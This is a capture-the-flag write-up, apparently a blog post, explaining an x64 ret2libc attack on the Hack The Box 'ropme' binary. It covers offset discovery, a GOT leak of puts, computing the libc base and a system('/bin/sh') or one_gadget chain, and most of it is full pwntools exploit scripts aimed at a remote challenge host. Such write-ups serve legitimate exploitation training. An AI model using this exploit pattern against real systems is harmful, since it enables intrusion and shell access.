x64 ret2libc

If a binary does not have enough useful gadgets but imports the libc library, we can try to return to libc and call gadgets like system() and execve().

Anathomy of the attack

  • Take control of the rsp regiter

  • Leak a libc function address and the libc version

  • Use that address to calculate libc's base offset

  • Call any gadgets within libc

Notice that the arguments are provided by the registers in the x64 architecture, not by the stack.

I like to work with examples, so for this explanation I'll use the ropme challenge from hackthebox, which is the most simple ret2libc example there could ever be, the chall is currently retired so you'll need a VIP subscription if you want to use it through this paper.

Take control of the return address

Let's say our binary has an input field vulnerable to a buffer overflow in which we can overwrite address on the stack until we hit the regiters, our task would be to find the exact offset in which we start writing to rsp, so we can control the flow of the program.

In the example above I created a pattern to see where exactly I started writing to rsp,

Then I fed the value on rsp to know exactly where it is overwrote, and it tells me the offset is 72, which means that if I send 72 A's and 8 B's the rsp will be all B's.

And there it is :) Now let's start developing our exploit, I'll be using the pwntools library for automation and organization.

Leak a libc function address and the libc version

To leak the libc version we need to get the address of a function used by the program, so we can disassable the binary with the following command:

objdump -M intel -d ./ropme|less

And we see that a few functions were imported:

Disassembly of section .plt:

00000000004004d0 <.plt>:
  4004d0:       ff 35 32 0b 20 00       push   QWORD PTR [rip+0x200b32]        # 601008 <_GLOBAL_OFFSET_TABLE_+0x8>
  4004d6:       ff 25 34 0b 20 00       jmp    QWORD PTR [rip+0x200b34]        # 601010 <_GLOBAL_OFFSET_TABLE_+0x10>
  4004dc:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

00000000004004e0 <puts@plt>:
  4004e0:       ff 25 32 0b 20 00       jmp    QWORD PTR [rip+0x200b32]        # 601018 <puts@GLIBC_2.2.5>
  4004e6:       68 00 00 00 00          push   0x0
  4004eb:       e9 e0 ff ff ff          jmp    4004d0 <.plt>

00000000004004f0 <__libc_start_main@plt>:
  4004f0:       ff 25 2a 0b 20 00       jmp    QWORD PTR [rip+0x200b2a]        # 601020 <__libc_start_main@GLIBC_2.2.5>
  4004f6:       68 01 00 00 00          push   0x1
  4004fb:       e9 d0 ff ff ff          jmp    4004d0 <.plt>

0000000000400500 <fgets@plt>:
  400500:       ff 25 22 0b 20 00       jmp    QWORD PTR [rip+0x200b22]        # 601028 <fgets@GLIBC_2.2.5>
  400506:       68 02 00 00 00          push   0x2
  40050b:       e9 c0 ff ff ff          jmp    4004d0 <.plt>

0000000000400510 <fflush@plt>:
  400510:       ff 25 1a 0b 20 00       jmp    QWORD PTR [rip+0x200b1a]        # 601030 <fflush@GLIBC_2.2.5>
  400516:       68 03 00 00 00          push   0x3
  40051b:       e9 b0 ff ff ff          jmp    4004d0 <.plt>

We can leak the address of a function if we print it's value in the GOT table, we can call the puts function to print that address, so we need to first put the address we want in the rdi register, which is where our first argument goes, and then call the puts function. So our chain will look like:

junk + pop_rdi + puts_got + puts_plt + main

Notice that we need to call main so the program flow returns to the beginning, that way we'll be able to get the output of our call to puts() and continue with the attack. This is important to understand, since ASLR is enabled on the remote instance we need to complete the attack in only one execution, because the addresses we leaked will be reset in the next run.

We'll need a pop rdi gadget, we can look for one of those with ropper,

ropper -f ropme

[...]
0x00000000004006d3: pop rdi; ret;
[...]

And here is our gadet :) Now, let's jump to our exploit's development.

Pwntools ships already with functions to simplify that process:

#!/usr/bin/env python3
from pwn import *

e = context.binary = ELF('./ropme', checksec=False)
io = remote('138.68.182.108',30467)

#context.log_level = "DEBUG"

# Gadgets
pop_rdi = 0x00000000004006d3
got_puts = e.got['puts']
plt_puts = e.plt['puts']
main = e.sym['main']

# Junk

junk = 72*b'A'

io.recvuntil("ROP me outside, how 'about dah?\n")

# Leak Libc address
payload = junk
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)

io.sendline(payload)
leak = io.recvline().strip()
leak = u64(leak.ljust(8, b'\x00'))
log.success('Puts address found at ' + hex(leak))

The code above connects to the service running the vulnerable binary then forces it to print the address of the puts function by waiting for the input to be requested, then sending the chain I mentioned before.

./leak.py
[+] Opening connection to 138.68.182.108 on port 30467: Done
[+] Puts address found at 0x7ff018dd3690

Running the script we get the address of the puts function, now we need to feed it to a database that will search for that occurrence in multiple versions of libc.

https://libc.nullbyte.cat/?q=puts%3A0x7f5fa2da5690

As we know, our program's architecture is amd64, so we can ignore any other matches, leaving us with libc6_2.23-0ubuntu10_amd64 and libc6_2.23-0ubuntu11_amd64, and those two end up being the exact same, so we already know what version we need to use for the gadgets in our exploit.

Use that address to calculate libc's base address

As the addresses are reset upon finishing execution, we need to leak the address we want and calculate the offset in every run. So we'll just append the exploit to our previous code. The next steps we need to take are:

  • Subtract the offset of our function from it's address, so we get libc's base address.

  • Add the address of any gadgets we want to use from libc.

The libc database we're using already provides that offset,

Let's say we want to call system("/bin/sh"), then we'll need to put the address of a string with the value of "/bin/sh\x00" in the rdi register and then call the system() function, according to the database, those addresses are, respectively, libc's base address + 0x18cd57 (offset of the string), and libc's base address + 0x045390 (offset of system()), so our next chain will look like:

junk + pop_rdi + str_bin_sh + system

appending that chain to our exploit code,

#!/usr/bin/env python3
from pwn import *

e = context.binary = ELF('./ropme', checksec=False)
libc = ELF('./libc.so', checksec=False)
#io = process(e.path)
io = remote('138.68.182.108',30467)

#context.log_level = "DEBUG"

# Gadgets
pop_rdi = 0x00000000004006d3
got_puts = e.got['puts']
plt_puts = e.plt['puts']
main = e.sym['main']

# Junk

junk = 72*b'A'

io.recvuntil("ROP me outside, how 'about dah?\n")

# Leak Libc address
payload = junk
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)

io.sendline(payload)
leak = io.recvline().strip()
leak = u64(leak.ljust(8, b'\x00'))
log.success('Puts address found at ' + hex(leak))

libc_base = libc.address = leak - 0x06f690
log.success('Libc address found at ' + hex(libc_base))

# Final ROP

system = libc_base + 0x045390 # system()
bin_sh = libc_base + 0x18cd57 - 64 # /bin/sh

payload = junk
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)

io.recvuntil("ROP me outside, how 'about dah?\n")
io.sendline(payload)
io.interactive()

An this will pop us a shell! Please notice, some times the /bin/sh address is a little bit off and you'll get something like: "%s%s[...]%s%s No such file or directory", this means you're 64 bytes ahead from where you should be, all you need to do is subtract 64 from your bin_sh address.

Also there are other ways of doing this without system(), there is something called one gadget, that is, basically, any address on libc that pops a shell just for being called, for example, one that contains execve("/bin/sh"). Running the one_gadget command against the libc we downloaded from the database we found a few offsets:

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

So replacing our chain with:

junk + one_gadget

We'll also get a shell, And here is the final exploit code:

#!/usr/bin/env python3
from pwn import *

e = context.binary = ELF('./ropme', checksec=False)
libc = ELF('./libc.so', checksec=False)
#io = process(e.path)
io = remote('138.68.182.108',30467)

# Gadgets
pop_rdi = 0x00000000004006d3
got_puts = e.got['puts']
plt_puts = e.plt['puts']
main = e.sym['main']

junk = 72*b'A'

io.recvuntil("ROP me outside, how 'about dah?\n")

# Leak Libc address
payload = junk
payload += p64(pop_rdi)
payload += p64(got_puts)
payload += p64(plt_puts)
payload += p64(main)

io.sendline(payload)
leak = io.recvline().strip()
leak = u64(leak.ljust(8, b'\x00'))
log.success('Puts address found at ' + hex(leak))

libc_base = libc.address = leak - 0x06f690
log.success('Libc address found at ' + hex(libc_base))

# Final ROP
system = libc_base + 0x045390 # system()
bin_sh = libc_base + 0x18cd57 - 64 # /bin/sh

one_gadget = libc_base + 0x45216 #execve("/bin/sh", rsp+0x30, environ)

payload = junk
payload += p64(one_gadget)

io.recvuntil("ROP me outside, how 'about dah?\n")
io.sendline(payload)
io.interactive()

Simple enough. Thanks to everyone that followed along to this point, I hope everyone is enjoying the content!

Last updated